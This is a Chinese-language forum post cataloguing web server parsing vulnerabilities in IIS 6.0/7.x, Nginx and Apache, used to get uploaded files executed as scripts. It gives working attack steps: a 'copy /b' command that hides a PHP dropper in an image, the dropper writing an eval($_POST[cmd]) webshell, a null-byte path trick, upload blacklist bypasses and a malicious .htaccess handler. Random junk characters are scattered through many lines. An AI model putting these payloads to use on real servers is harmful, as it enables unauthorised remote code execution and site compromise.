常见服务器解析漏洞总结

admin

Author : laterain
[+]IIS6.0

1 l3 F* e( g: ~% K# C% I9 {目录解析：/xx.asp/xx.jpg
3 ?7 y( U+ R& }8 _6 N$ |6 | xx.jpg 可替换为任意文本文件(e.g. xx.txt)，文本内容为后门代码
IIS6.0 会将 xx.jpg 解析为 asp 文件。
后缀解析：/xx.asp;.jpg     
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
默认解析：/xx.asa
( C. E- {' H! g, ^7 y% j9 k, V: g         /xx.cer
' e8 `3 z* Q2 P$ C1 a- l, s; Q2 O2 V         /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
1 W  Z. Y6 b7 L4 `+ R1 K1 Z( ]  w 此处可联系利用目录解析漏洞
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
; C# z5 p6 {) c. O: m# o) F
IIS 7.0/IIS 7.5/Nginx <0.8.03
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法：
将一张图和一个写入后门代码的文本文件合并将恶意文本
/ V7 E5 D4 G& T2 K; g2 l 写入图片的二进制代码之后，避免破坏图片文件头和尾
7 y, V8 \* l# V2 [  R: I5 e7 b 如：
copy xx.jpg /b + yy.txt/a xy.jpg
#########################################################
0 L6 R& I( [' V& B /b 即二进制[binary]模式
/a 即ascii模式
. c, Y0 H6 r6 z) V: S xx.jpg 正常图片文件
( h7 @8 u5 h/ t* K2 w/ |" L6 ] yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
- j5 ?5 W! i, _5 V1 I. G3 y '<?php eval($_POST[cmd])?>');?>
* a) l, Q2 h1 c; S) Y1 ` 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
为shell.php的文件
) {6 ^) [$ m& e" u ###########################################################
' N! q& j* A  j; p- M, h4 y& o 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址，在地址后加上 /xx.php
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
) I: Z4 A) B$ Z+ d9 l9 [ 密码 cmd
' b5 b# ]# H6 p; J[+]Nginx <0.8.03

) V/ o( j% V: | 在Fast-CGI关闭的情况下，Nginx <0.8.03依然存在解析漏洞
9 S2 l7 a0 R9 r8 E6 u( d! z 在一个文件路径(/xx.jpg)后面加上%00.php
- U' c. M- A' X' m  Z& G4 }8 h 会将 /xx.jpg%00.php 解析为 php 文件。
' m2 q2 D/ c  f5 H[+]Apache<0.8.03

后缀解析：test.php.x1.x2.x3
1 g4 q3 v. l* l. I Apache将从右至左开始判断后缀，若x3非可识别后缀，
; O& w( T. a8 d6 z. u" M 再判断x2，直到找到可识别后缀为止，然后将该可识别
+ H0 z+ }! g0 ` 后缀进解析test.php.x1.x2.x3 则会被解析为php
) E7 \9 r8 U6 R  ^* j 经验之谈：php|php3|phtml 多可被Apache解析。
[+]其他一些可利用的

# E' t- T9 L' j8 N( l+ G在windows环境下，xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
& H6 J; O, b! ~4 ]9 j0 S: i& a  }) U若这样命名，windows会默认除去空格或点，这也是可以被利用的！
/ a  N+ m% m% Q4 M在向一台windows主机上传数据时，你可以抓包修改文件名，在后面加个空格
5 ^4 i  E1 V3 R9 g4 c( W& T) u9 O或点，试图绕过黑名单，若上传成功，最后的点或空格都会被消除，这样就可
; T5 u0 d" u0 w. v得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
, A( `5 ?& q) [: x( S' X( I6 `{Linux主机中不行，Linux允许这类文件存在}
如果在Apache中.htaccess可被执行（默认不执行，这是90sec里的一位朋友说
% D4 _9 o) k. T" t  q: M9 N$ z的，当初我并不知道），且可以被上传，那可以尝试在
.htaccess中写入:
$ C3 h$ m! M6 G9 A: H2 M2 J<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
</FilesMatch>
0 p7 S7 K- A$ _; s/ [( \! t, mshell.jpg换成你上传的文件，这样shell.jpg就可解析为php文件
[+]错误修改
8 S& e: H, e) w; c
在 IIS 6.0 下可解析 /xx.asp:.jpg
{/xx.asp:.jpg 此类文件在Windows下不允许存在，:.jpg被自动除去
$ Y& C/ o  Q* [' A! w剩下/xx.asp}修改：
先谢谢核攻击的提醒
  H. v* ~2 @! ]- {当上传一个/xx.asp:.jpg文件时，的确:.jpg会消失，但是现在的/xx.asp
' _# G% X  M" @$ n里是没有任何内容的，因为。。不好解释 大家自己看
http://lcx.cc/?i=2448
http://baike.baidu.com/view/3619593.htm
% {' [5 j. {$ M5 o. o0 w4 @6 D8 S6 B​
# a& e& J: o, V